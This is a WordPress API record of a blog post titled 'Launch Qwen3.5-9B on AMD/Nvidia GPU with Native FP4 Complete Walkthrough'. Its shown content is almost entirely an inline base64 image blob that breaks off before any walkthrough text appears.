{"id":7350,"date":"2026-07-22T18:09:56","date_gmt":"2026-07-22T18:09:56","guid":{"rendered":"https:\/\/lesninami.com.mk\/?p=7350"},"modified":"2026-07-22T18:09:56","modified_gmt":"2026-07-22T18:09:56","slug":"launch-qwen3-5-9b-on-amd-nvidia-gpu-with-native-fp4-complete-walkthrough","status":"publish","type":"post","link":"https:\/\/lesninami.com.mk\/en\/launch-qwen3-5-9b-on-amd-nvidia-gpu-with-native-fp4-complete-walkthrough\/","title":{"rendered":"Launch Qwen3.5-9B on AMD\/Nvidia GPU with Native FP4 Complete Walkthrough"},"content":{"rendered":"<p><img decoding=\"async\" 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F8xFWqS3E02NiuU83k1rglGCvqBYRNMVb2DfJSCsUeli0LS3ZZgTwits6KlKd7rWLWbHomZsvoPeMlm0jT4rIEZlI9haCyZFLetSaCH0iOKExy48LzO10EMlVpDcjc58Au2AL5N0Ql1PQiKLlhfsyaqtcSO8gE0CBdt8GsdUnUyA4Z848ktLA\/AA6yAss56h3cviv2fgwlyY3Shn10oAH203hhKIO3eUI2RAg4qBxa8dG5hb5iXZrcBgtQcLZEXjf+XU8m0zkPt1IYGKQDWNQYbpvz29ddYmnmIErGbGkv7dxbOGosQqAXsFN\/\/gJ9mXWLqJ2aAD9rwgJM5pr8jRshHYq460B7F8WeCsN\/97stHbuovWT4NVLk\/1XFNquDVlFk49vLJKLz3IXyyWOE28tJcJXtRufXs0vKPK1KWyIOBvLJJvUtVMI6lmciFLaXdJ7oO1hGM4vBW7RCZ7qm08davJAyRbvtGH1Enl\/tQuVGD9lr2JOhz82X4crtmAq0hjNe+kcgsWKm0BUYF\/FgkbRZbn6nykdvn7762dp9yeMuo4sBVLjIt1uIGqboSKsDAZ5079JGJF0CLvqxjkLgSR5eOY8quPY4KYmIRvMyseUomSjMSaqAdHK8MoMgUUtbqbpJLnJsqx9PYxnP0G8lv1+PkcZVP6dKROzH1Jh1I07j3tIYdHdoeNc8P\/k3uw9W5v4szxT2OTJ90pk23VKH7i1XFBxh7o8gGUcfukdssgy1nyZmO0WV3jdCL87PflCLgnxncKK1A2K9XJ9\/XTlgCeBRkSHBYgrRZpFphky+ghho48jl\/PUhhcNfeh8Nk432R8Udqx97qqVHR4GT\/fPX14eYk2kV3Mvto7ZSZehiplgVmfSwVS2J8Bu2fZTnJbbFNBab2aDXJ5OWYUMrrhZ+sj7FQ5ISTtSK0nIdJA50gCBcer+8WoYzAGi5rH9ofry1iD7HfkslWt3rSqoXSDCakBrW1iadwac775rynZnK6GEvQbTvoNy4uTLzUULrpdhnqNQdWWsiBJ7ld6oEZ7zdWwgv+KHrh22gR61wC\/ytuFT1H74BhgjsnEl5EznDv3oyWAu9l81Yllr3ZbS1lBbE\/hjv6\/ZNqE5cQeczdq86XBCxii+t35oIQzLE\/DDv5in6wA1VfVVAuwtpLHhE\/D7Y1zM3WmhmRE+sWgzbCGvMHPeRa8r7AQGNdIq4uaDGK5Zi5R\/xxTpphcm4S0BgMx5fhZiJ6ja40RRur5qwxS+rQ2zMjsfPYvGzvSdOyQf3GdhM3BKCXjUutpj6Fe0qqagOekhZtatqUni5Y5vlHqlvl64IesZFhoY3YNIt6sYQfNMX5TdHeKaEBum8MzceL7tV8aTbxA5RiJM4JeJP1qHRaICG5GdqFAZHb6jUdK7em1nB+OK\/n5j0BIXUSoM4KJqcVOAriSx4NzkQrHMzBBqQje3cn7XJU5PxL5\/CN\/Wc5PcMlCJkofNsJpmVvrWvIZ9\/Odh++1EL1N+DLMtLK2c2zsce6ApIgO1GwXRg3e4ycbXxhB86N3YsRkZkjpi97SS5Db2UhJ2SWYF0xMft8yUccLSJ3TpEXbxkD8WEDSp2w\/czTX8kc8AulWC\/gI4l3+NDnRNJupCjOQGuiOO2ahCnRgAWG4FzoPl4nONMJ3qDNY\/DobxHX6YRfjIYHT7FIde\/txU4pylCqirvmneeOM\/a5kS3hGjdQFMlraF+TckV40bsdQ1uyU+mJFnKRNHYUvh3h8m6FLT4tzQzy6z488AQKvGB73o2kIOwQVoRqcES1+UPEp5dDA+PIRrQQ0LAncSK0EdvNHpORLeWjpr+OK\/cF9uWbO3IL17ngUPDXRs8v5o6O4prAzwmBWAh6Ih7K21ADwRIj6C6ZiROVcQvMiRpULZIXo20aSRjbKqr9Rgv98Fx9jbURQBl3jdK4vhcQECRWW9dcmtyvgr1HDieb0+BM8E0YcsRR0MJXv1xlTiMjZQMuEM7fzi\/IUPFUDixCCErAj1xE1tSNFZijqv6\/sCGIky1jVLOm3sMzhCvRqvDRydxu3MWXTqT6VmVuRjoKBvR6FGlEaG2gCMfkmI5Bx1z7WCMcbCyleVxDi6cOO6ehiUUF2uobDw1F1AD+8FY60xI4CZHkokTLPpuefNasCaRCnnQq3xHqsdyqZpsU1+SQnWMF6nxPeqLTOVcNCT4LBc7VdNG4C9YJWQNY20AZ349pRp9mshJ+yxn77b3Jgk+cfZuJYNIrvTdpaSdDAnZ4PHF39EV+3SMf5PpPQ5Mx6P59\/T5oJGAsW8ZSY2AyLrxRlgnggXf7KjwFCQ1CdxV62zDRbG\/p0j6wziOAgbywq1FEfOy5EIDv2AnAwjWG3rP22eja00GTClZJ2cccWHnwnFGrBfyzKkpqliVYR2qmRsSQj6iYPRjjTyDkGaxjaGqBSBXceMh6OngOU\/VxRWv6zzo1WsnPezW8vvKGov+kwscoIN48zGY3rdzqRj2hIEQr7skyZsRV47gvSwXp\/1Cd9r7WzWqIC+btUxQliB4X7rhRjz5VPX4Yh59zcPp3XaBAWq3KduGgD9JXFckhmKpljY4bnaPEyOIqfLz1ySaZNF\/1Be8WaI5XJXmAcu3vWVi50GqKB05cdJQxU1IXb4+G1yuuBmL\/9SB7TDAdt6+QP4Nz0AeHszNzArHtepwJAR9Qm6pSPhmClSDrDOt4GbEjHvXTmL0g5JbnwNllhEBknz1SO\/riGAAhxetGI5uoRkxa7EsTKHp+dqp3OMGS2LptqBIjm9YCkJ5Y+gbgh6ZrhmKn0wdp8ROS\/sOI9bgJy\/n8YlE5O3VyVgX49cWRSMnh\/eZZWfko8K32Bhr3JOSpMN7ARPHhtZLiFcxMBdV0rmV0M6fyj\/X\/1qzVdC+\/wHTxiibn52Rw4ePtGNR2jWGdJwzluVnb+65oMZCrvKl3ePIlAhwPMbxhdOu1DG4yTvwlD3mueCTwR451+BAC7c0wZwjXrKEkUEQPLc2PbBmte6SnOEq\/MB3x7CV6UKZ8jvWeLJpKg1s4Fbn3pOw5NpSYcQX9vKo1cd0Ijbh7xkLoIfYeYa9Er1ZYdIPzHXL\/xQY+CNJlZOsCrmkYxdk1\/ztiZWZvqU4yJgVBpk\/HoObmMNX3TzHIvNeCWh0qqitKqNsLGM0Ldw06l+yCbXV2i8DXgRnf8MfukgiwArmhNerrBK742t5cdUnObyVEsAwYrtYteXcy+pTILGAM5OamY5fOVGdS+AFAEcrScWnGImquN9KLxKY6h5SDVx0UnKtnou088+tJMZKTu2xMIIohUB7o4heUKf01KCbGc79Hcf5KFJEilWZWo9mwAp8brCIkZtYDAqLJSLKE3WFzSRkQgVe8lDWIRxd9zuouv0pig2KygQmMWh6B1o0uphEH\/xukoLvBng0IOwf87QrnhS0gat6up1IwXBYL\/OouqinUAXNdQuxjycGDTGX6R3njPllfMoJ\/4s\/xIIsoXi01C1Nl9sJCrFk4z8b5csbrkHjDyBGdQHzjUxijsB\/n2anyfKD+pPZrXwFwK55UDV\/r0QKOGlarQjmZfEWfzvGnGr8Rf+unEiE2qcMp7KZFBU6NezXxi9CHtuAykS3G7AfpmGSK8Jp5DU0zBO83gNNXgPivirWiLkkpbEj2je1E5oLH3zLcenaJsUWVmO\/RtiTwayqzqxhpzYxOGFr8olri+0LvqxlHCveMQ1hLN\/A6h1En25Qv6icLhTsdml8QaXisni5OONdRUYdoP+P\/yX8wxcNcaECcrJIIUjJtKU7FEXop31k1tscv5O\/\/2pTejSnir7KqxDPB5cVVybqdByfo6OQ2EM5tbN+TuoJV7HjLgFWzhEOn53gSfzMj43dpY00v+tyWGkYSZ3IL1MQ7NoVQFNt22zQoGdRKkAgU9ICe8wibX3IBJIckCRiTDOG0FuJ5PFgX6kX5B7IR4wd3sDyS3qzHu2afgsTFRuUM6eMCrmaUSWDlQ7EGvj87KzBegH\/53l+sWcGyYaSq7nCtm7dZrCfAGkWw0YTQQXyfUtezo20i8c5sf36sIsaqRrywBIr\/Zr8sod4QQQ2XsUutZrWP4d4EQojmE05Gzii6ZzAE8YT8eZjOqGZEqSv0\/WcE8ngJAixhGZwESwKd8HanzHMUm1pgxVCQmrttxegOaMBe3bLdkgm\/gwaPbTK64UeSx1talVNxmKde7Xn6Xoy+S2QEX1mm\/ZcHYNqKPS6KbG\/CPUp7sP\/EpHNsWQnV7HGdeMuNeARFU3hML\/CcVJTW+z900I5QRABqweWLyqPBK\/jhfDHmi8gfUim2CpCMQ20mkYgxq9Yv2DVKLvm7g5ZNiVuioWgbsfsusNM26nZK2ODvVLiAoilowlUR31gcrS1Bj2LkXPq5nHE2hQr9Wj+W590kYlKf6vMBFmGTy\/hStX3fRGluKUxT4ZxI+y7v+3OlKL6bGh7OBVWgzXBw8eDfsMIWywHl0W0YVd04CUh2MWEbLRcY\/1u0e9CvKURobBE58vo6K2HSHjsi6hbQdpMJUaehIwTL\/YYvKQ39+rcUSSimbn3s27aBo5nx\/fQnD2Cmb7MoioZwILDXquk2UOyPpnw\/n0LtjcfAXTCQJhfDKuQF4PaR9\/RuhwUAyXfUTj56Xc9Y\/\/YndNIOVhGep2MNPdyHBK5NzKt5MZ6iKON4jer1AoGpRMABkSOJzaX4xA3Hv5zRPcre8VrrBZLuTOeIUzILlWYNqUuVrtywIPK47AYC9LxbfSyyG70VAyG2+YnwXpOnnbfQw0rtZ2O3MMkEvc43OT7vyMhJi0g4+nQws8u57rj+ieV0mMX0L\/N11LMXLE\/q+trdX8BJyu0FuiuIa+rms426qLoNMsmktf575XqFlulhnaHXhn8AgARNW2sl8N222zo1V19yeVCj3326ifLO6V4klrpnF2Od7Ii+H8PTNP70KDTZV043+evH2L68zHNG64Q2+EGt1pXE6qms2XNh8hroTDNkJ0D9ZO0oBbtC\/2U\/M31NMQg+jXwyFD5+ktTAdyMCej\/gsMNKS0RfBVaDe9Trvn5DV3JSLYynJcjN1Te516CdSHH7u7Q3wFBxXpawM0mkwGwLTvqavuEYtPyM6mjGKgxEiFN1bcXQvhiyBc0ER9E\/YXIEQFFYmrNeC6r6AGRAUdZm9EVK99\/XBl4Uf9vtm19n\/nAJ0r81RIYa7jEA6ouiPp4w9p7lTs81sL9yq5sMpPHOob91SuHme4BokWeXQEm5d6M9Ld2YozcXvmOJNddISt4939uJVE9KBlHopn20OZE1IZFSrppLrMi8+mxbU6Qy2nzSBgZEGGhPaG6dbYS\/\/wm+HFtzaBypo5lx7CFAtOOY7YmZ4ZjPFOfFcFDTQmSOgr0nQW90PsEQSH8J6y47Svg+dvVaAlQJRAPV82om8jMr0Ez9VxOte6dAVk\/TIAWR5N0JBpVm2VwiVGjqFVuC\/l4cTgk89afnUfL17p78GZJU4h+KH2qYZPb+8X9DgKP56znEpX\/JsQbgkA6NjAEzevjx2cNfrKeeDsR\/foZBYoW1JQoKSFTPKlWSCMWOwrMP2fjAPvuhAFHocILVYXqpTOdkV5IWJtCjiwsjIogCDBJ\/R2b8TSqrJCaPxCIQAVLx7F+Bp9+s30CQMD\/t4sMcoZAchmqbU8hTTsvoQzGkkv1zNvJ35lYPF08KW1BCKWd0Q6LfuvC6iAN0c4sAybz+UdE0epDlq8X\/nz6h7\/EnZxn1bpRrK4MofzJ2pzRtSnFyR1EzmnDZdn0mA550nM2Yj9B1sVvHQHbjcSEpIW71lP1QO\/3BtLqh8b5S7oIBxdr69UFNFLq1qr8vWi67NzN2ltV8nsvuRvCnU50xw+CkKl1OSLgrl2FCnWoYRCV5\/u6NuE8kNj7oyaeMM0ogb+nV99T3yStOkiZzPRJcBe7LjWhl7l7m5gVka9\/vTXbmYpOb0RprG0BIlTDDRAIvwwt1hbdJq4peaE6ePFextUYP1WNv0ZbYODa68YwCnaHXvCS46PzYbhj3GvAjej8ceg75MVE08aJ49PB10HwokEeb9Frtb2nFlXkwYgFPdwfU2iZuktPgmN2Gdpbe+9gjhW5edQEMdMoUX8CDcF6EZ347utNPXX+Clk\/OZ8tioPDXysydDT7R6BO4bJIvgKWYsczNbY+Bi54S8pekEHZzTcMsK+XCfbTwAMUqO2Wz91IJDyAfb908dnrYtRPVKVMKroK6TW\/rslTcvA5uM2NafbxKmC+C+55sxzm3NX\/2iMeUfqh2lPwTEbduxRK0jhURng9Ewi16jZH34+MEwVMs+wMh082PS+p97\/RtXrufpYfzOfbUFXqQk8+2veOXw7OdETvwWfYvxlylP5dwvj5ovy6kHVXAeGtdi8erAvBGNa\/1AaALng3yIZt1AqLLppsPzTCFJJEkuwUOKJXriNFGJC4dflFQ2cnvzIBJdmPJfqB7LNPCXhDNnSkrH4Eb\/\/pl\/bgCXJbdw\/ncVJwXgUPgmbJWo6vbgwlXueo7afHbAV8g1NI+cdAy3K7KBWPaKgv7UQ2QRsqR1IHzpkq0U6X2RUcmdphWOuVvIKTvmH3OjCAzNT+bb1xPBTjnRCURrC23KSELSagXqtmWBuwjmbVBgHltxnJtlTfmWHvGle69rk\/BArCtwTKr4VpuHMmkpyyazpDAx+3wiP5HVtes\/5Z+apBRbbA6IifwMJ0MU+LiH6UVuRFvKw42mbvFkM+UGP5ZNP8BWBpbnIc1ZJ6Nq\/OzhC+8YJIUR9oj51XRcl3Os6ydrT314DQvMBSO3uDtGLAxt6Fs\/lvUjD6v2ulGOm1afQhBPK9EFAXTgfveEwLtMTqUK9UNhrBHE1jDX+c+SfDk9+sCdm62e9cEVNsrlUblzEcZtjfJz7\/+YD6P9xnYtGtcJRj\/sc0gpj4GsGmMaC75kE9XgOyPFX4eSxMdbMB6flSDYT2X54lkPAzTIv0l73mLgTTAwHMIZznfC9wnvF3eUVLAYJmAKfXd6RwMnFKjyRO5NacXe38G9xTwu5GaEZpC5eyGCbZIABd2gHje3kl6qHGeUps8yntMcS8\/k3yMate1oiYbwUG6C8KiCl8xBiidwOX\/8LxFQsrbRFMEHVvYL1bgS\/coXnS3t\/1reVaizc7Up9mATtP1ERVg1mf4zyjb1NxL3XUmmB\/ByicpMNk\/r43tYWX5WSFfpuw7K7Pi+IUjiRjxj634q37xcleO3IsEcK82KKiQDxGXhK3TTCCMIMGC5vGFKKaSbVN+XhOnB7rauiyZY7MtlD\/cRWvd2z9uRsJP1842IcL6q89fAn3s1PEAx68Fa5lyo\/7SZz3k\/FfR343wzaz06zfuZo\/rvZlW+6\/cP6ll\/K8LLFcBcfkwmCJjUaQv20NHJf7Zl2xfT8X78cZcwm5TszhuBR00cWl40xqr\/FyvdML7ECw01CmVXL2EV3wtqxs+Gqhv+1O5x\/qlNTDRyJRvG11Im3srZ3GbK3rMdW5sPAo7UxthK6QvX6FISpshQl5ZmUD73RGVBocpRLAhaYP5aY9SBL76CZd74BLlXXOwyohDZTLgCvhHU9FNDtxDltpeCwHDYVZGzXn0nz3vp4NoE0RPRMG3NfJ7eeiC2CMcLh0sQX68zXeaXd+GAbvADVT9MtmyGkvnWGZYtDAMVzSueg1Ni0VukZj9O\/FO5AJFKrgPnFiYz6izj0sSiv\/ZBsg4LH9Mq0u\/jrdSRmn\/HQHUjFCpi2Y\/OvGNzMJF5eNLi\/jzKSNHKdwNQW45pG9\/KSVX2pyeEii40grKwDocwmNSUUSP9h6kBwz1WQNDZCsFF3rIW\/gadG3235eJVBvqxaEsZiVK7ph1S2gLnBJZ2m0kXW2MlOCfZlTTlZG4cS2gbFygK+4PrF5MPMFXtDBDF7qBp3bLnZtzQYNs7K2MYlC8mSBV7seTkItDNNQgEcGYP4XKZ4mNGGB8CCBvGCE6zkFcwG1wCNJpvSlPtvFkvO+pLl0Yo7ZjlWbbYdzE1Bmerqx9yYPcLmHFSrV7Cn2LsruLIDVoVg1L1WcSR09q82aMrdk3eyyoyTjpHlquZAa0Qg2o9gwqy8FPEy+d\/CyRD\/D7MOIVjGVgxnTRgMaC9oQ1l2urEpuWbQCnnrvC7jabFQChbt57N4uY6bYhDVNLrqb4wgtk+BjHJ5QxwF1IW1NchjQhCmC1PgFVAaBkvPFCMiui6C080QmR8y95Czt0lLbyMKBY\/j\/AYHri5cPl4CEbre7U1oxixRrOTaqMaUDLoQeZ\/tFNodKPbUqgKiGnObtEGqsSJeEM2QJKy2YptdlNoaAW6+Y3iT2VL5zCTHTuqw1fBTI067SvOf9i7ARL7TBPcJu11QArvyYTQAa7Jqw7CmDLH21DYnGMriDujMDV2Qt6nW3yx5x9M5TATOWPU\/ArJPV4C8SwUZu1M6CzEE\/YBwWbpLM5TGfhNySy\/cBxKMQCA3wweCTfIt0jnL0ZpAQUFh3negbBkPSt0sKtia5OZP\/L586O5VvQrM5f2mixhsmJlxv+k4SPgBFuKuT1h6v+RPmj88T3d\/r5P\/X7VZnW02\/3cb+ONIcco51dsOxzxt\/GzG0rfdWWWcqgDmDjk2ZDI2Bd6lfdy4\/o+aiPGW6Uw8s\/NpYpV6Ejt1UH6+tKUiGIQn6SyyV0ibGfqNwpP++3KVcYyhyOemdD\/CSwhuBgpHrH\/rzP5KHgAAH9jGqc+MXtJUikF2qOlLEgnnmbBThI34bu0suW3dV2GdcRDcXAro7pZkZ2OqlmXvLMkWIBPN3q2IVm4v1D68syMKz4MxmYkuFmB8x4NneNfUGBfDGtVfh6vvZ2td3GR1OxzujdTwystIQh\/TJBXAA5nx8\/JYXzF2CKhiRVoKbYrvYLYvJwNanXo9mNtieERjy4Vlleb9oC8IoH4nBPQ95azOQsPDe0HPdN8GZm1LZI8i7tcwl3od8hrYi88SwzWc8Rflsqff7cs\/77vZ4WPloPTIW2AGinru5VUW6YER\/Z7OB7HYoDCju0ClCZwtUxzmqm7Ehd9H2Qx+asQ1zkoeMj+OUsVQ3DMKot2UQyDcOW554TTA+NCu2CWvzxWPGRKQdCHF4Wqqok2+HSyiQ5kcnM\/G5DMhRjI5CPnM8gAQ4VXumiYqui6Ws47eMZnnSEYNCsIRFkMiFwN0RFQ5NSJv2ZBBXdmn7mtOLcVEoZH57O1st2T9XISWuatnYOuOAXIe+OPVVXhutgRzopVnWyGOpwdei5EoOKAf+HBC9DYXGDRvCoL2e704u3ny4Y2vhla473EXJl3C0Jv0Gp7XpKK9dnaPeBwFnuup1EsvyHW3lGhvFDZ1sNxU98KalHY68WKmr3Uce+83s7ENP0dYuioKHL2QF+mixy+ZYjiw0HPFmAzQaDlVE1ExRFEPjVzPpa\/nNtEDVW\/FZzIq80nOml3Y5UH+0xUSHzzySp9szPQe1q0KDn5BrU\/anhjpuwdSHKJxyhczPOrhKPyQ7NcBflqDHTHlnyEhZL\/52UZJmoi96U3\/\/k2vO1tTaAfELBl2X3uDLZPySHBpaB25HD3O6TrEzQh1fhU1CDOLqiv3VLbSeoIPTnnmMz0LKQHi8n96bHe0gnDE7UeNAgcb8KnETY8a\/0zKlUBrelvnT2rsnEoJJzgC5Pspfgg4uTvCJDL0VScne6DUhkCOAccF33UVlhShFl6ZR+isV1bDUw7gdh1xBCqlK7gbAysel\/8A6kUyorz3rDq9QDoVrSiMjc4p7wIvP3fT4k\/oxy54ke9t9C07NTfTxghd8tClAKjzPHUJ4bGmMFFLHuxN5BvSkdQVmSOpu4ytpcQP4ZB\/618kYd12fEO27cz9EDWSDcd7oAgzRb1XPICet3N32A5jbcp+porS+Cf\/Ru+VU3tqHQoCu4NcXvrG+TgRYd7Z1ATl0qFyt8koStPRz9bxG8gU5oCU71d56oOhmIica39duFSFqbuoZM8RggXeN4qpQxeRs\/m2+kuMUj2oDzTEhHBvwSCXQjzWYh75Co7W67u\/TnLFh2M5HzFkVSUAC7ladiXE8DeTs\/frsS1A3qOwA+MPvbt73Q0Z1ZAA7MQHmeF4tAXjkPWscjx2diY8qqStx+HBtYzHua9uo+vTdX8AZ1Q+c7cxlb4cNiPjPd5U+lKq8x+o8eQWeC5mZXOFY0LjniXBFg2LwVwVH8w040YO6gq3k6W5gB7oBKpvV5\/qXOIudbi+fPm3ETdggDDpuyIkAS3TsxNXOavzz+XCASGXKMesER2J3T6C100X5zZFaKVmCyrSJX96UZxliPpy9OA0onYlIYtTW\/92BnqrSfy9cR+8p2WC7mBCHc0K80CUySaR64A578MbE6uZtSMAkTds08tHNobITHm1FCL0lOHG09IX9rg3PVYa6obO2kp7rQzMmUNn7qITVseivipCSfY\/b0bms9pZpec86p5rrEyOfEZfpypFxIYYjDBJFaRyRu3HuYvIoZwXPh6RPHRXEBCbhMiuPOZLrMKt95SN3Rskx9UwIAjrsgE7SlhwwmIEREdnFaWBqGDd4OtQBXQB5Jf1SCjyarrUVqlFPxwsZj9aDfzLgSzA+H0JqVCVYYXgC0jctoV+Apn6t7YGgHWQfdn\/70ik0hudqnSq9gFNc6w\/IUr2jndX9Jqt5paj7Ojy4wBJWdqln5fFJ3YYD8VuYXI931AMwxBJH6laD+F4nxgVBn8boII9rNxLtpEadkfqKmlwBRyd5wvbIlrM7EMJG+IWWiFsrGW0\/pp2gQgQ2j8BWYluqk6d41nyEG9ZPUl34VRGUrWNpbsHlKfb2UYZ76iW3J\/k2UnahTu+ECpCVmfvLR84eRV1lZUnI+klqHTQZWOoWuWAOg25UVGwdQn8Fd6U1a\/pRN+MzRlVdlKD84Qth79W128hX6z4r75wd+KmQhgpeYNRpL0lGQ9W1Rp0gCxBwYaK\/e5f9Y\/gKYCigJTXeMu7OQ83masjo9KL1l0OEcbJH1KP4mUXwlJ\/ReGif4GNN+cwK+H8JzT6ZdxpvgdYXmwq2ZfpxVLaykFv3HhGB1rDpYzUEAQiLeEa+arepRXUJiwJ0acjxHAv7LjhRWG8ZEYagkAaaSa+NiJySGOg4ppAwy6SLD8WmhLy9ojzQ4xjQ0WXRxQf1P5WyMDZVq31kuZups2xxRiIL+7q+XlfzEjlMl1xtJ2OwWQf6L3cf2kpSiKMEovG8KpohimHajefGLoErA7Q\/tv07Uzaaz2\/GL30clzaq043nrUvFIS\/BKdAj5ga8LXex9DJuNieTutesfVvga+iCcBZWlhSvTe4K6NInFPNcHTp8zOUa7zxsQ+HEeAH+HhNTBlURT3bMa3FZsCXqbn1psOoh9jic86kx9TiwZzXNXUE4c\/nTJeiHfjQmJ1kiZ1B2\/JmPy\/6Fc+H83Vp8E9WYc5lLFOwg43ehexFUhQ5qETbFyLUTDOTyfXbAZy6uVZb7sP40GNmwvDWtarjcAPZIpOGOfz1rtg\/1GUk4y0GsH\/xAVyiSK4W+QceHS8Jx67UqVzsDaxiJHieuS9CVbBrfIix7jHVeyFO+oytSHp3CbH2WaREPGHrLzRq+EvJ0U0rDeVsMD\/klRqWhfYISPB7FpOQhjAoyUp3j4uGprcR6uEal2wdLqd8lwEneqIct04JPhX28+xx7nuz7K15\/K2G7TLAjO1hs0oqIuKOJy7AMOvH1wqYjZArtM8y6NGdJ1L0oWDkxCM5zlNc+omBJDTYVDdVAPD8cTCO3uxSmm+D7Ocx+XGsjTRDogQ54lxIby1b\/7rJinAJP9wWif+dpWwlZB+OOiHsoNxwayGr2gj4lUtVtBT6oG4dUIjvRv9dSWkfh5eiZFk1UMlEta9JXz8H8yjaSEjwpqkQIuHH97AT+ujJnghpPaWusmnUctt5Q5jMAVAJsfy1sIzul84\/ffMTV0\/xD2g1Hkm58n8cs5xsYS2JTv70jovAHFRVqhf8UgOOy+NVbV5mFFYQ3Bw8d7iCoc4gYWDB2F+0RI6+gnDiIMbli1IWVCca9HNjFfogUYiruHV2aGhNFQGnqTwdS9MJ3sQUaiTm6MbDvIKIk92kRa\/NlvESgKwRBShHUgS3i5dNBXfJRK1UKhTOCFIIGxwqdIzawLnlboKBZaPEJRGZAR\/FRvLXMw\/x1+wsSz3S1M8XnX15ww7yK1kM2NHw25z\/wVVMuc\/V4b6wDjZoxU75RFPcFWYIiayQEhWoiN47rzHf+flBwx4xUbIHkTdNT\/AV5FtTabNu8rjHc9Mk\/D+LRonO2GbMn8Xgn67aaxeiYB056KXTJH9yZcltisEuffkFN7PCR38iOR0rLpLvog\/oLTX34kjYrEu934TqX94Uf3MLyqCfzmu\/sYKJPZnNlOoe3NmBlVd0D9JUl8b2uRd2\/1TtwqelOEzwfxgB\/rTjGmYD5vL7dRIwKvlXtLe\/6y8kLLQA9GbWkYmG+kmSUcHqL1wI2I4HARHbUZ1qf2PEFMGVXEiRvN3Bgiy5FkEo9uPD8pZlFEZnhT1nOqx4TtOpZ6nkLYlO4aC7GdtT3NYNNvZpjZIlZG1N+aKhViXMNaSl3UNrAcVLVeqsGGea0RWIssu+1Bg6y8l3ba4e7tG1kpNJ4LpMDw20+EvyYOKOAZ0gms13gA\/EplkJcklP52xRQHTRX14qdIU60LKU3imrFlVHYL3cH49ynx3++klYsw4UwGg7pJMcoEVE5CPz28EBWQqph+gof5KI5sjJ3CSyHmCbjc4X\/lTRzH7IBU0cP0kxS1j8xS8EbWVLU9HQrb56pBZOZjpV3ofdOBDnMGKwKT+HEwI6SAFoA0I\/W1f7w\/NvgE7Kv6OTN\/MK8XPJdRotNXr8ZBANKf83sp8KXat9JrrODYs0uCWpLbklC8rvvXDbkbN3oCbMSdnA7wiSVZy2dfjg9uhOzhAgOVG569FJEDohyenu6Mq9susS0mgRfA+8sz3xM35mfn3ubVAKO636nyrsCinEfqWn2pj5e0DaXsfDlxie\/22awzeUcrM9HhFwbQ8xyfPgMAejOp3o2oTRxC9VnWg3mwL7I8ZMFywOoG5jWhD83lC2u0bmVQETib3n9qrO+e7rBzIuIVew5T\/GgkTp8Mlu5Wv+BcaCGSz3HTHKQQBV4hiRwVQJ1fqakNv+iqxgiqhowHoQOziXQegGh\/mbMYI+jKFE0kcfOSWaaCMNeaG+HgLWAaSenLkM8gt5am0qis7NwN25ZRZaj20RIjEdrqgWLsQL3lzRJ6aqpqQOLevH1UXB3NWQ6tAuK1fASG4b8mGGGLi89ySUL8DJTZFwBTYDaaEZKEWszt9wXxn9NsY8tFQd8irZaUfrR5FQ3Du0b83pe6d8Z+SpwNAHCQls9GZmY34Z86gfYWj1Sz1mj9VqbOnQgWNqVR8dTaSFhDu6uhto4O36XCY0YabSssSwLtwQQEOMiol+pVVRsDb9FiWoes1eOT2VhmTYfCxeCM15hkR6jAXr7DYqYEerlwGSqYMZx+Vu7Qf0\/iYgdELyupzopvexqz2EPWlOa1Tj+HcFMwPSPn04MwDEBrFl1G6xENsmo5NlJbndnIaDdYZ+79+PaE7qK0hBNCfMjQe7NKf8MdEfLaVF8Xd0G29qGbvVARNE0d6DgocuGLl9zHP1ICoRjwDNxFc44bHj+1IS9yhsywnSM47hSI8dPYIVyeUPpzR5IxzlO4j5aWOzhp+jj6TSHOQkVE24me8tF0EYvBUGQ\/aPnNRB+n9wmoAaeJmQ3noKcOjG4YzSzuX8bfdvFVhKHeMRS6yCmLoEWj5GL+J4OGXt300dH0GOMLFb\/OC0rMfYCA2j0oHlATzhVLhBxr8IfAlACxDO2l0ryjo62pL0dqjP6hXzeqCMOnGPw7\/uajfICmsUv38G8OIutlwPQYhezoY3ToaBMX2vkzcqmcTfEzystgslYGMJoPYlogqsYgvl0kztFbkwfq3tz4NIr+mPClk1n3K\/0b8WJui+NUZvBYto3E7CT6F8o0cWcxOPwuMb99SSMYgVOIg69uCRpUmj1p6AeXzbDxjXNqnJyfTUep+kVHkQQjAFmCrB1fmhRTTyBpNuNJUuy+ua\/u+poQ5QJ5Xm7uMTJsZF\/nx7iTsC0savSpPwHRt6SZpvJkyacq\/FymEnZJJY+\/EeRNEyMFi\/49H2Jv8++FIJoGjzwwDzTbh6nnGBI7tJsxwNnATCKLIQ+cOEhPle7\/ADJZCAAC67IwmzjutcPqwuEd6MncBrzoDeBkY2q7aOl3LvyIc3rnv1p29trKIM9+Pbex7O\/ri0JsDbsZpEf\/bkTzWr3swdAqfKpqkmnqnVNg6TP5714owGXKEjHYuut2P0ARUINtfxySnBqpNWPOc45jRiTw2OBh7YvAVDRBBpFtzHjndcq+\/ShuRo0kZ6dXwC7lV6zMEZtQYYvLB6AW47r9Z3V0pey9ijUec+j6kAGQEHT5ZLQ1bG5jdMUgkFzas1lO4LF83csNwl3xgDNlKihnl07Y3+bDGOe8F5kObEskmyYl0GRNkyhVhu37Gb\/1b73cbdx6BeZmYZR1zw7OmHwKSQ3re4CxfK0lD+qW3oOiwPAF+pwXa8DL0XmpUhk3\/AulRm4+OYGE\/D5NDmzdn5XxAF\/EkJbypSRJIhcBdxwWo\/cxTP5W2fwNnZnQYNmoHTN3+tgwmDAPgoAURhT5eGvQCw0bUkVN9LflFwbA9v70Hm8ECYRESkd1r2tvvMbPYrM1hYtFsGZ5SbnTMcmj7FZ11iW8It1U98snoSSiFCbCiEhxYKp3wUxK6QztUMJaNVpzMuhaO7Be5fBDSFETglEg+GBKYk5g7B3IbTPob+A3dvnYLRFmIexqTMALLmPXjbzhu5tI6CIW+3tLexrp9vHah5RqzfKNtkm1Lk0VeqAdQ1iOGGh+gnfYwtj7ULSw\/M7o8QMgmVBdr1dbS\/JrKVc86MLq2qjPHM0W2Uomu4hCTHEkcFIaxrrMVdq9IJcG1FoFNQK2+pDKt1hzdJaNMeeJWrs7uN9RTp2ghOs8LTT4nG2aIZMxWfBTjzf1G3vkzuLT72RfgeKypgMBx0K\/gAAAAAAAAGlhqXh7Epfzp21JrK7D\/Mompro20++tDR0DYBh2uMhdfhs1hEpKfx\/lIXYRxlxk6NxdOQBX714rjn05MxUGzEVrX00Xv8bOPMAujnTLP\/qVweQHEKJag3IdbwHd2WsqXrwLHTYVpALK5zWjlXOuPuj\/glc7+8Ja4Gr2sjV1FcJbuE